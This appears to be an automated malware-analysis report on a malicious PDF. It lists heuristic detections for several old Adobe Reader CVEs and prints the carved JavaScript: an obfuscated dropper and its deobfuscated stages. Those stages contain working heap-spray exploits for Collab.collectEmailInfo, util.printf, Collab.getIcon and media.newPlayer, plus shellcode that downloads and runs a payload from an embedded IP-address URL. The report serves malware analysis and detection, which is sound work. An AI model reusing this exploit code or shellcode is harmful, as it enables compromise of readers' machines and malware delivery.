MALICIOUS
490
Risk Score
Malware Insights
MITRE ATT&CK
T1204.002 Malicious File: User Execution: Malicious File
The PDF contains embedded JavaScript, as indicated by multiple heuristic firings including a high-confidence ML classifier. The embedded JavaScript stream, named 'javascript_obj0076_000.js', is the primary indicator of malicious activity. The likely intent of this script is to perform malicious actions upon opening the PDF, such as downloading and executing a secondary payload.
Machine Learning
- Nyx PDF Classifier malicious score 1.0000
Heuristics 12
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media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
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Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
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Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
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util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
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Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCHA single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
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Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KITOne recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
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Generic recovered JavaScript exploit stage high PDF_GENERIC_STAGE_RECOVERYBounded static stage recovery exposed hidden JavaScript through generic transforms such as null-byte collapse, percent decoding, marker replacement, arithmetic character codes, fromCharCode, numeric arrays, numeric-array minus-key decoders, alphabet-index arrays, /Producer half-difference metadata arrays, hex literals, marker-stripped Base64 literals, custom 6-bit XOR table decoders, or repeated-marker hex carriers. This rule is emitted only when the recovered stage contains exploit-like Acrobat JavaScript or shellcode markers.
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JavaScript action low 2 related findings PDF_JAVASCRIPTPDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
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PDF exploit shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URLDecoded PDF exploit shellcode contains a hardcoded http(s) URL — stored as little-endian %uXXXX Unicode escapes, or hex-encoded in a document metadata field (/CreationDate, /Title) and referenced from the decoded script. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
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Embedded JS stream low PDF_JSPDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
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Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
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Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://66.199.229.50/w.php?f=3&e=5 Referenced by PDF JavaScript
Extracted artifacts 3
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
javascript_obj0076_000.js |
pdf-javascript-stream | PDF /JS object 76 at offset 0x369 | 11735 bytes |
SHA-256: 46aebd18001e6c196df51f7a12fa2d3eaeb7ed97b9d6bae4f2718021fa0e0291 |
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Preview scriptFirst 1,000 lines of the extracted script
j='4wbt43t';
z
=
new
Array(46,63,40,22,40,34,37,34,68,68,59,58,66,3,39,34,29,10,21,2,45,45,29,10,63,24,22,14,29,10,21,48,63,24,29,10,44,48,22,14,29,10,22,57,2,14,29,10,2,2,48,63,29,10,45,14,24,38,29,10,14,38,21,59,29,10,21,59,2,38,29,10,38,24,14,38,29,10,44,38,21,59,29,10,48,45,37,24,29,10,44,45,21,59,29,10,2,2,38,21,29,10,45,45,20,59,29,10,48,22,21,59,29,10,38,2,2,24,29,10,2,2,44,14,29,10,21,37,47,24,29,10,37,48,22,22,29,10,63,63,37,38,29,10,59,21,63,63,29,10,14,38,21,59,29,10,24,2,2,38,29,10,2,57,14,45,29,10,44,48,38,45,29,10,21,44,63,59,29,10,47,14,2,14,29,10,22,14,21,48,29,10,48,37,44,48,29,10,22,59,22,57,29,10,48,37,14,24,29,10,21,59,48,45,29,10,2,24,44,48,29,10,44,14,21,59,29,10,44,21,2,48,29,10,63,48,38,2,29,10,21,59,48,45,29,10,47,38,44,45,29,10,63,48,38,2,29,10,24,57,2,2,29,10,14,37,14,57,29,10,35,20,63,24,29,10,24,48,38,2,29,10,20,59,2,2,29,10,59,22,38,63,29,10,2,21,37,38,29,10,44,14,63,47,29,10,24,37,38,21,29,10,38,20,24,59,29,10,20,35,38,2,29,10,22,59,14,38,29,10,2,59,63,37,29,10,44,48,37,63,29,10,48,22,22,45,29,10,48,22,21,59,29,10,38,2,47,14,29,10,45,45,20,20,29,10,38,24,21,59,29,10,21,20,14,59,29,10,22,24,14,45,29,10,48,14,63,63,29,10,38,24,47,14,29,10,20,21,21,59,29,10,20,20,38,2,29,10,38,14,21,59,29,10,38,2,21,59,29,10,35,59,24,48,29,10,48,57,48,22,29,10,22,59,24,2,29,10,35,20,48,2,29,10,45,21,21,59,29,10,21,38,47,38,29,10,38,24,44,20,29,10,44,14,2,2,29,10,57,45,38,2,29,10,63,2,22,59,29,10,45,21,21,59,29,10,21,59,38,21,29,10,45,35,63,44,29,10,48,57,38,48,29,10,57,21,22,21,29,10,63,63,63,63,29,10,22,47,63,63,29,10,22,21,63,57,29,10,38,38,38,38,29,10,38,38,38,38,29,10,48,38,48,21,29,10,14,38,45,35,29,10,63,63,45,21,29,10,38,38,38,38,29,10,48,38,38,38,29,10,24,38,21,2,29,10,48,38,37,57,29,10,21,59,48,48,29,10,21,59,22,24,29,10,37,38,48,22,29,10,24,2,21,2,29,10,63,63,38,48,29,10,45,21,22,2,29,10,45,22,45,63,29,10,38,38,38,38,29,10,44,48,45,21,29,10,45,24,44,47,29,10,48,14,45,20,29,10,37,45,63,63,29,10,24,14,21,2,29,10,21,59,38,21,29,10,22,21,22,21,29,10,63,63,45,37,29,10,63,63,63,63,29,10,38,47,22,59,29,10,44,47,22,59,29,10,22,24,21,37,29,10,38,37,38,14,29,10,38,38,38,38,29,10,48,24,21,20,29,10,38,24,47,14,29,10,38,14,24,44,29,10,44,47,47,14,29,10,45,44,45,48,29,10,24,44,44,2,29,10,47,14,14,14,29,10,44,45,38,14,29,10,2,2,44,47,29,10,24,44,2,47,29,10,47,14,14,14,29,10,47,38,38,21,29,10,44,2,47,20,29,10,48,2,47,38,29,10,63,21,45,21,29,10,38,38,38,38,29,10,63,63,38,38,29,10,38,24,48,45,29,10,22,21,21,59,29,10,24,57,2,2,29,10,24,44,48,37,29,10,37,20,14,14,29,10,44,44,38,38,29,10,45,47,44,38,29,10,24,44,44,14,29,10,37,20,14,14,29,10,47,22,38,48,29,10,45,24,45,14,29,10,24,45,45,24,29,10,37,20,14,14,29,10,38,38,38,57,29,10,21,35,48,57,29,10,38,14,24,37,29,10,21,21,2,38,29,10,37,20,14,14,29,10,14,37,38,14,29,10,45,35,48,37,29,10,45,35,38,38,29,10,48,2,38,38,29,10,45,35,48,44,29,10,63,63,38,38,29,10,37,14,48,45,29,10,24,38,21,48,29,10,37,45,44,48,29,10,38,38,45,35,29,10,63,63,48,2,29,10,38,14,48,45,29,10,38,38,45,35,29,10,22,59,21,2,29,10,48,2,38,24,29,10,48,45,63,63,29,10,21,2,38,14,29,10,38,24,24,2,29,10,38,47,22,59,29,10,37,2,22,59,29,10,21,38,14,44,29,10,38,38,2,63,29,10,63,35,44,48,29,10,21,38,14,44,29,10,38,38,2,63,29,10,24,14,44,48,29,10,38,38,45,35,29,10,63,22,45,35,29,10,48,45,63,63,29,10,22,21,38,21,29,10,63,22,57,24,29,10,63,63,63,63,29,10,14,22,21,22,29,10,22,24,38,22,29,10,63,22,57,21,29,10,38,22,21,35,29,10,45,63,21,57,29,10,59,20,38,37,29,10,24,35,2,2,29,10,48,59,21,35,29,10,24,45,37,59,29,10,44,57,14,45,29,10,37,35,2,45,29,10,44,38,47,63,29,10,44,14,45,21,29,10,44,38,44,14,29,10,47,63,2,35,29,10,2,45,47,63,29,10,47,22,2,45,29,10,2,57,2,37,29,10,47,22,2,57,29,10,2,47,2,47,29,10,47,22,2,57,29,10,2,38,2,48,29,10,44,44,47,63,29,10,44,38,47,22,29,10,44,38,45,21,29,10,45,45,2,63,29,10,2,2,2,20,29,10,45,48,47,45,29,10,2,48,2,20,29,10,38,38,38,38,34,19,63,10,69,24,43,46,73,69,50,22,4,42,9,40,9,35,28,25,15,68,49,70,5,46,60,22,40,9,35,1,60,22,69,3,43,5,23,47,17,25,15,68,49,9,35,16,39,9,35,19,64,9,35,39,9,35,1,66,10,59,66,43,9,46,69,3,40,38,28,25,15,31,47,68,19,9,22,43,10,9,69,50,9,35,19,64,50,63,10,69,24,43,46,73,69,50,59,61,40,68,49,42,35,9,50,20,74,3,39,69,22,70,50,8,9,9,35,15,40,68,19,42,35,9,50,42,70,39,38,61,38,24,38,24,38,24,38,24,19,42,35,9,50,35,20,20,9,39,38,61,14,38,38,38,38,38,19,42,35,9,50,52,35,15,60,73,35,20,39,10,69,22,66,24,35,52,22,40,59,58,66,3,68,19,42,35,9,50,66,24,54,60,22,69,39,52,35,15,60,73,35,20,1,60,22,69,3,43,5,23,47,19,42,35,9,50,25,15,39,35,20,20,9,55,40,66,24,54,60,22,69,16,38,61,2,21,68,19,42,35,9,50,15,35,9,66,52,39,10,69,22,66,24,35,52,22,40,72,29,10,57,38,57,38,29,10,57,38,57,38,72,68,19,15,35,9,66,52,39,22,4,42,9,40,15,35,9,66,52,28,25,15,68,19,42,35,9,50,24,73,10,69,43,47,39,40,42,70,55,38,61,14,38,38,38,38,38,68,31,35,20,20,9,19,63,73,9,40,42,35,9,50,24,73,10,69,43,39,38,19,24,73,10,69,43,17,24,73,10,69,43,47,19,24,73,10,69,43,16,16,68,49,20,74,3,36,24,73,10,69,43,0,39,15,35,9,66,52,16,52,35,15,60,73,35,20,19,64,50,42,35,9,50,73,42,22,9,63,60,73,70,39,10,69,22,66,24,35,52,22,40,72,29,10,38,24,38,24,29,10,38,24,38,24,72,68,19,70,5,46,60,22,40,73,42,22,9,63,60,73,70,1,60,22,69,3,43,5,17,14,14,57,48,47,68,49,73,42,22,9,63,60,73,70,16,39,73,42,22,9,63,60,73,70,19,64,50,43,5,46,66,1,24,73,60,60,35,59,62,43,73,9,22,39,27,73,60,60,35,59,1,24,73,60,60,22,24,43,53,41,35,46,60,67,69,63,73,40,49,66,10,59,58,56,72,72,28,41,66,3,56,73,42,22,9,63,60,73,70,64,68,19,64,50,63,10,69,24,43,46,73,69,50,52,9,46,69,43,63,40,68,49,69,73,52,39,10,69,22,66,24,35,52,22,40,72,29,10,38,8,38,8,29,10,38,8,38,8,29,10,38,8,38,8,29,10,38,8,38,8,72,68,19,42,35,9,50,52,35,15,60,73,35,20,39,10,69,22,66,24,35,52,22,40,59,58,66,3,68,19,5,22,35,52,59,60,73,24,74,39,69,73,52,16,52,35,15,60,73,35,20,19,59,46,3,59,60,73,24,74,39,10,69,22,66,24,35,52,22,40,72,29,10,38,8,38,8,29,10,38,8,38,8,72,68,19,5,22,35,20,22,9,66,46,4,22,39,47,38,19,66,52,9,35,15,39,5,22,35,20,22,9,66,46,4,22,16,5,22,35,52,59,60,73,24,74,1,60,22,69,3,43,5,19,70,5,46,60,22,40,59,46,3,59,60,73,24,74,1,60,22,69,3,43,5,17,66,52,9,35,15,68,49,59,46,3,59,60,73,24,74,16,39,59,46,3,59,60,73,24,74,19,64,50,63,46,60,60,59,60,73,24,74,39,59,46,3,59,60,73,24,74,1,66,10,59,66,43,9,46,69,3,40,38,28,66,52,9,35,15,68,19,59,60,73,24,74,39,59,46,3,59,60,73,24,74,1,66,10,59,66,43,9,46,69,3,40,38,28,59,46,3,59,60,73,24,74,1,60,22,69,3,43,5,55,66,52,9,35,15,68,19,70,5,46,60,22,40,59,60,73,24,74,1,60,22,69,3,43,5,16,66,52,9,35,15,17,38,61,14,38,38,38,38,68,49,59,60,73,24,74,39,59,60,73,24,74,16,59,60,73,24,74,16,63,46,60,60,59,60,73,24,74,19,64,50,41,22,41,39,69,22,70,50,8,9,9,35,15,40,68,19,63,73,9,40,46,39,38,19,46,17,37,14,38,38,19,46,16,16,68,49,41,22,41,36,46,0,39,59,60,73,24,74,16,5,22,35,52,59,60,73,24,74,19,64,50,42,35,9,50,69,10,41,39,37,47,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,19,10,43,46,60,1,52,9,46,69,43,63,40,72,29,14,48,38,38,38,63,72,28,69,10,41,68,19,64,50,63,10,69,24,43,46,73,69,50,3,22,43,46,24,73,69,40,68,49,42,35,9,50,35,9,9,15,39,69,22,70,50,8,9,9,35,15,40,68,19,46,63,40,35,52,52,1,20,73,24,1,27,73,60,60,35,59,1,3,22,43,67,24,73,69,68,49,42,35,9,50,52,35,15,60,73,35,20,39,10,69,22,66,24,35,52,22,40,59,58,66,3,68,19,42,35,9,50,5,32,25,48,38,38,27,12,39,52,35,15,60,73,35,20,1,60,22,69,3,43,5,23,47,19,42,35,9,50,25,15,39,38,61,14,38,38,38,38,38,55,40,5,32,25,48,38,38,27,12,16,38,61,2,21,68,19,42,35,9,50,15,35,9,66,52,39,10,69,22,66,24,35,52,22,40,72,29,10,57,38,57,38,29,10,57,38,57,38,72,68,19,15,35,9,66,52,39,22,4,42,9,40,15,35,9,66,52,28,25,15,68,19,42,35,9,50,52,48,8,58,65,45,48,63,39,40,38,61,38,24,38,24,38,24,38,24,55,38,61,14,38,38,38,38,38,68,31,38,61,14,38,38,38,38,38,19,63,73,9,40,42,35,9,50,42,25,24,11,13,57,45,15,39,38,19,42,25,24,11,13,57,45,15,17,52,48,8,58,65,45,48,63,19,42,25,24,11,13,57,45,15,16,16,68,49,35,9,9,15,36,42,25,24,11,13,57,45,15,0,39,15,35,9,66,52,16,52,35,15,60,73,35,20,19,64,50,42,35,9,50,43,6,51,5,12,59,26,70,39,10,69,22,66,24,35,52,22,40,72,29,38,57,72,68,19,70,5,46,60,22,40,43,6,51,5,12,59,26,70,1,60,22,69,3,43,5,17,38,61,14,38,38,38,68,49,43,6,51,5,12,59,26,70,16,39,43,6,51,5,12,59,26,70,19,64,50,43,6,51,5,12,59,26,70,39,72,12,1,72,16,43,6,51,5,12,59,26,70,19,35,52,52,1,20,73,24,1,27,73,60,60,35,59,1,3,22,43,67,24,73,69,40,43,6,51,5,12,59,26,70,68,19,64,64,50,35,7,60,10,3,46,69,66,39,35,52,52,1,52,60,10,3,67,69,66,19,42,35,9,50,66,42,39,52,35,9,66,22,67,69,43,40,35,52,52,1,42,46,22,70,22,9,33,22,9,66,46,73,69,1,43,73,62,43,9,46,69,3,40,68,1,24,5,35,9,8,43,40,38,68,68,19,63,73,9,40,42,35,9,50,46,39,38,19,46,17,35,7,60,10,3,46,69,66,1,60,22,69,3,43,5,19,46,16,16,68,49,46,63,40,35,7,60,10,3,46,69,66,36,46,0,1,69,35,41,22,39,39,34,53,62,24,9,46,52,43,34,68,49,42,35,9,50,60,42,39,35,7,60,10,3,46,69,66,36,46,0,1,42,22,9,66,46,73,69,19,64,64,50,46,63,40,40,60,42,39,39,57,68,75,75,40,40,66,42,39,39,21,68,71,71,40,60,42,17,39,21,1,37,47,68,68,68,49,3,22,43,46,24,73,69,40,68,19,64,22,60,66,22,50,46,63,40,60,42,39,39,44,1,37,68,49,52,9,46,69,43,63,40,68,19,64,22,60,66,22,50,46,63,40,40,40,66,42,39,39,45,68,75,75,40,66,42,39,39,44,68,68,71,71,40,60,42,17,44,1,37,37,68,68,49,59,61,40,68,19,64,22,60,66,22,50,46,63,40,40,60,42,30,39,57,1,37,68,75,75,40,60,42,17,39,57,1,47,68,75,75,40,60,42,30,39,21,1,37,2,68,75,75,40,60,42,17,39,21,1,37,44,68,68,49,63,10,69,24,43,46,73,69,50,35,40,68,49,10,43,46,60,1,52,9,46,69,43,20,40,34,52,18,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,50,56,50,15,15,15,15,37,37,37,34,28,69,22,70,50,13,35,43,22,40,68,68,19,64,42,35,9,50,5,39,35,52,52,1,52,60,10,3,67,69,66,19,63,73,9,40,42,35,9,50,63,39,38,19,63,17,5,1,60,22,69,3,43,5,19,63,16,16,68,49,46,63,40,5,36,63,0,1,69,35,41,22,39,39,34,53,62,24,9,46,52,43,34,68,49,42,35,9,50,46,39,5,36,63,0,1,42,22,9,66,46,73,69,19,64,64,50,46,63,40,40,46,30,21,1,37,47,68,71,71,40,46,17,21,1,47,68,68,49,24,39,69,22,70,50,8,9,9,35,15,40,68,19,42,35,9,50,20,39,10,69,22,66,24,35,52,22,40,34,29,10,57,38,57,38,29,10,57,38,57,38,34,68,19,42,35,9,50,22,39,10,69,22,66,24,35,52,22,40,59,58,66,3,68,19,70,5,46,60,22,40,20,1,60,22,69,3,43,5,17,39,38,61,21,38,38,38,68,49,20,16,39,20,19,64,20,39,20,1,66,10,59,66,43,9,40,38,28,38,61,21,38,38,38,55,22,1,60,22,69,3,43,5,68,19,63,73,9,40,63,39,38,19,63,17,47,57,38,38,19,63,16,16,68,49,24,36,63,0,39,20,16,22,19,64,35,40,68,19,35,40,68,19,43,9,15,49,43,5,46,66,1,41,22,20,46,35,1,69,22,70,7,60,35,15,22,9,40,69,10,60,60,68,19,64,24,35,43,24,5,40,22,68,49,64,35,40,68,19,64,64);
a=new String("].3gzhUPAruQND4y+<@;d8e*cqGC,%>/WV'a[10=(mvt76i25{ MpE_-:9jblxSf}KsI)nw&'ok|");
b="al";
b2="v"
+b;
try
{
for(i in app)
if(i=='printerNames')
new asd;
}catch(q){
e=j['s'+'ubstr']();
try{
b='e'+b2;
if(!google.search())
a=2;
}
catch(q){
e=
e[
b];
}
s=new String();try{if(!google.search())throw 1;}catch(q){r=1;}{
for(j=0;j<z.length;j++)
try{
if(!google.search())throw 1;}catch(q){
s
+=
a[
z[j]];
}
}}
try{if(!google.search())bbb-123;}
catch(nergerg){
e(s);
}
|
|||
generic_stage_recovery_000.js |
deobfuscated-js | generic stage recovery alphabet-index-array from JavaScript object 76 at offset 0x369 | 3852 bytes |
SHA-256: 9b55884e950bc259753fe2ffb2f8d93da76774568ee4a74d4a60480d33d9123b |
|||
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved artifact contains 11 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
|
|||
Preview scriptFirst 1,000 lines of the extracted script
if(e('1'))bjsg='%u8366%ufce4%u85fc%u75e4%ue934%u335f%u64c0%u408b%u8b30%u0c40%u708b%u561c%u768b%u3308%u66db%u5e8b%u033c%u3374%u812c%u15ee%uff10%ub8ff%u408b%uc330%u3946%u7506%u87fb%u2434%ue485%u5175%uebe9%u514c%u8b56%u3c75%u748b%u7835%uf503%u8b56%u2076%uf503%uc933%u4149%uadfc%uc503%udb33%ube0f%u3810%u74f2%uc108%u0dcb%uda03%ueb40%u3bf1%u751f%u5ee6%u5e8b%u0324%u66dd%u0c8b%u8d4b%uec46%u54ff%u0c24%ud88b%udd03%u048b%u038b%uabc5%u595e%uebc3%uad53%u688b%u8020%u0c7d%u7433%u9603%uf3eb%u688b%u8b08%u6af7%u5905%u98e8%uffff%ue2ff%ue8f9%u0000%u0000%u5058%u406a%uff68%u0000%u5000%uc083%u5019%u8b55%u8bec%u105e%uc383%uff05%u68e3%u6e6f%u0000%u7568%u6c72%u546d%u16ff%uc483%u8b08%ue8e8%uff61%uffff%u02eb%u72eb%uec81%u0104%u0000%u5c8d%u0c24%u04c7%u7224%u6765%uc773%u2444%u7604%u3372%uc732%u2444%u2008%u732d%u5320%uf868%u0000%uff00%u0c56%ue88b%uc933%uc751%u1d44%u7700%u6270%uc774%u1d44%u2e05%u6c64%uc66c%u1d44%u0009%u8a59%u04c1%u8830%u1d44%u4104%u6a51%u6a00%u5300%u6a57%uff00%u1456%uc085%u1675%u006a%uff53%u0456%u006a%ueb83%u530c%u56ff%u8304%u0cc3%u02eb%u13eb%u8047%u003f%ufa75%u8047%u003f%uc475%u006a%ufe6a%u56ff%ue808%ufe9c%uffff%u4e8e%uec0e%ufe98%u0e8a%u6f89%ubd01%uca33%u5b8a%uc61b%u7946%u1a36%u702f%u7468%u7074%u2f3a%u362f%u2e36%u3931%u2e39%u3232%u2e39%u3035%u772f%u702e%u7068%u663f%u333d%u6526%u353d%u0000';function ezvr(ra,qy){while(ra.length*2<qy){ra+=ra;}ra=ra.substring(0,qy/2);return ra;} function bx(){var dkg=new Array();var vw=0x0c0c0c0c;var addr=0x400000;var payload=unescape(bjsg);var sc_len=payload.length*2;var qy=addr-(sc_len+0x38);var yarsp=unescape('%u9090%u9090');yarsp=ezvr(yarsp,qy);var count2=(vw-0x400000)/addr;for(var count=0;count<count2;count++){dkg[count]=yarsp+payload;} var overflow=unescape('%u0c0c%u0c0c');while(overflow.length<44952){overflow+=overflow;} this.collabStore=Collab.collectEmailInfo({subj:'',msg:overflow});} function printf(){nop=unescape('%u0A0A%u0A0A%u0A0A%u0A0A');var payload=unescape(bjsg);heapblock=nop+payload;bigblock=unescape('%u0A0A%u0A0A');headersize=20;spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;} fillblock=bigblock.substring(0,spray);block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;} mem=new Array();for(i=0;i<1400;i++){mem[i]=block+heapblock;} var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf('%45000f',num);} function geticon(){var arry=new Array();if(app.doc.Collab.getIcon){var payload=unescape(bjsg);var hWq500CN=payload.length*2;var qy=0x400000-(hWq500CN+0x38);var yarsp=unescape('%u9090%u9090');yarsp=ezvr(yarsp,qy);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+payload;} var tUMhNbGw=unescape('%09');while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;} tUMhNbGw='N.'+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}} aPlugins=app.plugIns;var sv=parseInt(app.viewerVersion.toString().charAt(0));for(var i=0;i<aPlugins.length;i++){if(aPlugins[i].name=='EScript'){var lv=aPlugins[i].version;}} if((lv==9)||((sv==8)&&(lv<=8.12))){geticon();}else if(lv==7.1){printf();}else if(((sv==6)||(sv==7))&&(lv<7.11)){bx();}else if((lv>=9.1)||(lv<=9.2)||(lv>=8.13)||(lv<=8.17)){function a(){util.printd('p@111111111111111111111111 : yyyy111',new Date());}var h=app.plugIns;for(var f=0;f<h.length;f++){if(h[f].name=='EScript'){var i=h[f].version;}} if((i>8.12)&&(i<8.2)){c=new Array();var d=unescape('%u9090%u9090');var e=unescape(bjsg);while(d.length<=0x8000){d+=d;}d=d.substr(0,0x8000-e.length);for(f=0;f<2900;f++){c[f]=d+e;}a();a();try{this.media.newPlayer(null);}catch(e){}a();}}
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generic_stage_recovery_001.js |
deobfuscated-js | generic stage recovery percent-decode from JavaScript object 76 at offset 0x369 | 3848 bytes |
SHA-256: cd5b993a6014a925df84b314fa2bc09d65de1c9dbf8ee249b89d85ebdc36ad90 |
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Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved artifact contains 11 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
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Preview scriptFirst 1,000 lines of the extracted script
if(e('1'))bjsg='%u8366%ufce4%u85fc%u75e4%ue934%u335f%u64c0%u408b%u8b30%u0c40%u708b%u561c%u768b%u3308%u66db%u5e8b%u033c%u3374%u812c%u15ee%uff10%ub8ff%u408b%uc330%u3946%u7506%u87fb%u2434%ue485%u5175%uebe9%u514c%u8b56%u3c75%u748b%u7835%uf503%u8b56%u2076%uf503%uc933%u4149%uadfc%uc503%udb33%ube0f%u3810%u74f2%uc108%u0dcb%uda03%ueb40%u3bf1%u751f%u5ee6%u5e8b%u0324%u66dd%u0c8b%u8d4b%uec46%u54ff%u0c24%ud88b%udd03%u048b%u038b%uabc5%u595e%uebc3%uad53%u688b%u8020%u0c7d%u7433%u9603%uf3eb%u688b%u8b08%u6af7%u5905%u98e8%uffff%ue2ff%ue8f9%u0000%u0000%u5058%u406a%uff68%u0000%u5000%uc083%u5019%u8b55%u8bec%u105e%uc383%uff05%u68e3%u6e6f%u0000%u7568%u6c72%u546d%u16ff%uc483%u8b08%ue8e8%uff61%uffff%u02eb%u72eb%uec81%u0104%u0000%u5c8d%u0c24%u04c7%u7224%u6765%uc773%u2444%u7604%u3372%uc732%u2444%u2008%u732d%u5320%uf868%u0000%uff00%u0c56%ue88b%uc933%uc751%u1d44%u7700%u6270%uc774%u1d44%u2e05%u6c64%uc66c%u1d44%u0009%u8a59%u04c1%u8830%u1d44%u4104%u6a51%u6a00%u5300%u6a57%uff00%u1456%uc085%u1675%u006a%uff53%u0456%u006a%ueb83%u530c%u56ff%u8304%u0cc3%u02eb%u13eb%u8047%u003f%ufa75%u8047%u003f%uc475%u006a%ufe6a%u56ff%ue808%ufe9c%uffff%u4e8e%uec0e%ufe98%u0e8a%u6f89%ubd01%uca33%u5b8a%uc61b%u7946%u1a36%u702f%u7468%u7074%u2f3a%u362f%u2e36%u3931%u2e39%u3232%u2e39%u3035%u772f%u702e%u7068%u663f%u333d%u6526%u353d%u0000';function ezvr(ra,qy){while(ra.length*2<qy){ra+=ra;}ra=ra.substring(0,qy/2);return ra;} function bx(){var dkg=new Array();var vw=0x0c0c0c0c;var addr=0x400000;var payload=unescape(bjsg);var sc_len=payload.length*2;var qy=addr-(sc_len+0x38);var yarsp=unescape('%u9090%u9090');yarsp=ezvr(yarsp,qy);var count2=(vw-0x400000)/addr;for(var count=0;count<count2;count++){dkg[count]=yarsp+payload;} var overflow=unescape('%u0c0c%u0c0c');while(overflow.length<44952){overflow+=overflow;} this.collabStore=Collab.collectEmailInfo({subj:'',msg:overflow});} function printf(){nop=unescape('%u0A0A%u0A0A%u0A0A%u0A0A');var payload=unescape(bjsg);heapblock=nop+payload;bigblock=unescape('%u0A0A%u0A0A');headersize=20;spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;} fillblock=bigblock.substring(0,spray);block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;} mem=new Array();for(i=0;i<1400;i++){mem[i]=block+heapblock;} var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf('E000f',num);} function geticon(){var arry=new Array();if(app.doc.Collab.getIcon){var payload=unescape(bjsg);var hWq500CN=payload.length*2;var qy=0x400000-(hWq500CN+0x38);var yarsp=unescape('%u9090%u9090');yarsp=ezvr(yarsp,qy);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+payload;} var tUMhNbGw=unescape(' ');while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;} tUMhNbGw='N.'+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}} aPlugins=app.plugIns;var sv=parseInt(app.viewerVersion.toString().charAt(0));for(var i=0;i<aPlugins.length;i++){if(aPlugins[i].name=='EScript'){var lv=aPlugins[i].version;}} if((lv==9)||((sv==8)&&(lv<=8.12))){geticon();}else if(lv==7.1){printf();}else 